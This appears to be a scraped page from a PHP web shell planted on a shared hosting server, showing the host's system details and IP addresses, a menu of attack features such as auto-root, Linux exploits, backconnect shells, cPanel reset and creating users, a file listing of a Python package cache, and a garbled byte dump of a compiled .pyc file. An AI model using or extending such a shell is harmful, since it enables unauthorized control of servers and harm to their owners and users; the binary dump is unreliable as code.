Linux id-dci-web1412.main-hosting.eu 5.14.0-611.20.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jan 14 06:35:04 EST 2026 x86_64
LiteSpeed
: 2a02:4780:6:1512:0:19fc:adf1:2 | : 216.73.216.140
Cant Read [ /etc/named.conf ]
8.1.34
u435990001
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
lib /
python3.9 /
site-packages /
sepolgen /
__pycache__ /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.cpython-39.opt-1.pyc
144
B
-rw-r--r--
__init__.cpython-39.pyc
144
B
-rw-r--r--
access.cpython-39.opt-1.pyc
11.09
KB
-rw-r--r--
access.cpython-39.pyc
11.09
KB
-rw-r--r--
audit.cpython-39.opt-1.pyc
16.86
KB
-rw-r--r--
audit.cpython-39.pyc
16.86
KB
-rw-r--r--
classperms.cpython-39.opt-1.py...
2.41
KB
-rw-r--r--
classperms.cpython-39.pyc
2.41
KB
-rw-r--r--
defaults.cpython-39.opt-1.pyc
2.24
KB
-rw-r--r--
defaults.cpython-39.pyc
2.24
KB
-rw-r--r--
interfaces.cpython-39.opt-1.py...
12.3
KB
-rw-r--r--
interfaces.cpython-39.pyc
12.3
KB
-rw-r--r--
lex.cpython-39.opt-1.pyc
20.88
KB
-rw-r--r--
lex.cpython-39.pyc
20.88
KB
-rw-r--r--
matching.cpython-39.opt-1.pyc
6.02
KB
-rw-r--r--
matching.cpython-39.pyc
6.02
KB
-rw-r--r--
module.cpython-39.opt-1.pyc
7
KB
-rw-r--r--
module.cpython-39.pyc
7
KB
-rw-r--r--
objectmodel.cpython-39.opt-1.p...
3.88
KB
-rw-r--r--
objectmodel.cpython-39.pyc
3.88
KB
-rw-r--r--
output.cpython-39.opt-1.pyc
3.46
KB
-rw-r--r--
output.cpython-39.pyc
3.46
KB
-rw-r--r--
policygen.cpython-39.opt-1.pyc
12.58
KB
-rw-r--r--
policygen.cpython-39.pyc
12.62
KB
-rw-r--r--
refparser.cpython-39.opt-1.pyc
28.57
KB
-rw-r--r--
refparser.cpython-39.pyc
28.57
KB
-rw-r--r--
refpolicy.cpython-39.opt-1.pyc
39.23
KB
-rw-r--r--
refpolicy.cpython-39.pyc
39.23
KB
-rw-r--r--
sepolgeni18n.cpython-39.opt-1....
394
B
-rw-r--r--
sepolgeni18n.cpython-39.pyc
394
B
-rw-r--r--
util.cpython-39.opt-1.pyc
6.21
KB
-rw-r--r--
util.cpython-39.pyc
6.21
KB
-rw-r--r--
yacc.cpython-39.opt-1.pyc
51.89
KB
-rw-r--r--
yacc.cpython-39.pyc
51.96
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : refpolicy.cpython-39.opt-1.pyc
a ���h�} � @ sZ d dl Z d dlZd ZdZdZdZdZdZg d�Zeeeeeed�Z G dd � d �Z G d d� de �ZG dd � d e �Zdsdd�Z dtdd�Zdudd�Zdd� ZG dd� de�ZG dd� de�ZG dd� de�ZG dd � d �ZG d!d"� d"e�ZG d#d$� d$e�ZG d%d&� d&e�ZG d'd(� d(e�ZG d)d*� d*e�ZG d+d,� d,e�ZG d-d.� d.e�ZG d/d0� d0e�ZG d1d2� d2e�ZG d3d4� d4e�ZG d5d6� d6e�Z G d7d8� d8e�Z!G d9d:� d:e�Z"G d;d<� d<e�Z#G d=d>� d>e�Z$G d?d@� d@e�Z%G dAdB� dBe�Z&G dCdD� dDe�Z'G dEdF� dFe�Z(G dGdH� dHe�Z)G dIdJ� dJe�Z*G dKdL� dLe�Z+G dMdN� dNe�Z,G dOdP� dPe�Z-G dQdR� dRe�Z.G dSdT� dTe�Z/G dUdV� dVe�Z0dWdX� Z1G dYdZ� dZe�Z2G d[d\� d\e�Z3G d]d^� d^e�Z4G d_d`� d`e�Z5G dadb� dbe�Z6G dcdd� dde�Z7G dedf� dfe�Z8G dgdh� dhe�Z9G didj� dje�Z:G dkdl� dle�Z;G dmdn� dn�Z<G dodp� dp�Z=G dqdr� dr�Z>dS )v� N� � � � � )�source�target�objectZ permission�roleZdestinationc @ s e Zd Zddd�ZdS )� PolicyBaseNc C s d | _ d | _d S �N)�parent�comment��selfr � r �6/usr/lib/python3.9/site-packages/sepolgen/refpolicy.py�__init__5 s zPolicyBase.__init__)N)�__name__� __module__�__qualname__r r r r r r 4 s r c @ s� e Zd ZdZd/dd�Zdd� Zdd� Zd d � Zdd� Zd d� Z dd� Z dd� Zdd� Zdd� Z dd� Zdd� Zdd� Zdd� Zdd � Zd!d"� Zd#d$� Zd%d&� Zd'd(� Zd)d*� Zd+d,� Zd-d.� ZdS )0�Nodea� Base class objects produced from parsing the reference policy. The Node class is used as the base class for any non-leaf object produced by parsing the reference policy. This object should contain a reference to its parent (or None for a top-level object) and 0 or more children. The general idea here is to have a very simple tree structure. Children are not separated out by type. Instead the tree structure represents fairly closely the real structure of the policy statements. The object should be iterable - by default over all children but subclasses are free to provide additional iterators over a subset of their childre (see Interface for example). Nc C s t �| |� g | _d S r )r r �childrenr r r r r J s z Node.__init__c C s t | j�S r )�iterr �r r r r �__iter__N s z Node.__iter__c C s t dd� t| ��S )Nc S s t | t�S r )� isinstancer ��xr r r �<lambda>W � zNode.nodes.<locals>.<lambda>��filter�walktreer r r r �nodesV s z Node.nodesc C s t dd� t| ��S )Nc S s t | t�S r )r �Moduler r r r r Z r zNode.modules.<locals>.<lambda>r! r r r r �modulesY s zNode.modulesc C s t dd� t| ��S )Nc S s t | t�S r )r � Interfacer r r r r ] r z!Node.interfaces.<locals>.<lambda>r! r r r r � interfaces\ s zNode.interfacesc C s t dd� t| ��S )Nc S s t | t�S r )r �Templater r r r r ` r z Node.templates.<locals>.<lambda>r! r r r r � templates_ s zNode.templatesc C s t dd� t| ��S )Nc S s t | t�S r )r � SupportMacrosr r r r r c r z%Node.support_macros.<locals>.<lambda>r! r r r r �support_macrosb s zNode.support_macrosc C s t dd� t| ��S )Nc S s t | t�S r )r �ModuleDeclarationr r r r r h r z*Node.module_declarations.<locals>.<lambda>r! r r r r �module_declarationsg s zNode.module_declarationsc C s t dd� t| ��S )Nc S s t | t�S r )r � InterfaceCallr r r r r k r z&Node.interface_calls.<locals>.<lambda>r! r r r r �interface_callsj s zNode.interface_callsc C s t dd� t| ��S )Nc S s t | t�S r )r �AVRuler r r r r n r zNode.avrules.<locals>.<lambda>r! r r r r �avrulesm s zNode.avrulesc C s t dd� t| ��S )Nc S s t | t�S r )r � AVExtRuler r r r r q r z!Node.avextrules.<locals>.<lambda>r! r r r r � avextrulesp s zNode.avextrulesc C s t dd� t| ��S )Nc S s t | t�S r )r �TypeRuler r r r r t r z Node.typerules.<locals>.<lambda>r! r r r r � typeruless s zNode.typerulesc C s t dd� t| ��S )Nc S s t | t�S r )r � TypeBoundr r r r r w r z!Node.typebounds.<locals>.<lambda>r! r r r r � typeboundsv s zNode.typeboundsc C s t dd� t| ��S )zAIterate over all of the TypeAttribute children of this Interface.c S s t | t�S r )r � TypeAttributer r r r r { r z%Node.typeattributes.<locals>.<lambda>r! r r r r �typeattributesy s zNode.typeattributesc C s t dd� t| ��S )zAIterate over all of the RoleAttribute children of this Interface.c S s t | t�S r )r � RoleAttributer r r r r r z%Node.roleattributes.<locals>.<lambda>r! r r r r �roleattributes} s zNode.roleattributesc C s t dd� t| ��S )Nc S s t | t�S r )r �Requirer r r r r � r zNode.requires.<locals>.<lambda>r! r r r r �requires� s z Node.requiresc C s t dd� t| ��S )Nc S s t | t�S r )r �Roler r r r r � r zNode.roles.<locals>.<lambda>r! r r r r �roles� s z Node.rolesc C s t dd� t| ��S )Nc S s t | t�S r )r � RoleAllowr r r r r � r z"Node.role_allows.<locals>.<lambda>r! r r r r �role_allows� s zNode.role_allowsc C s t dd� t| ��S )Nc S s t | t�S r )r �RoleTyper r r r r � r z!Node.role_types.<locals>.<lambda>r! r r r r � role_types� s zNode.role_typesc C s( | j rt| j �d | �� S | �� S d S �N� �r �str� to_stringr r r r �__str__� s zNode.__str__c C s d| j j| �� f S �Nz<%s(%s)>�� __class__r rI r r r r �__repr__� s z Node.__repr__c C s dS �N� r r r r r rI � s zNode.to_string)N)r r r �__doc__r r r$ r&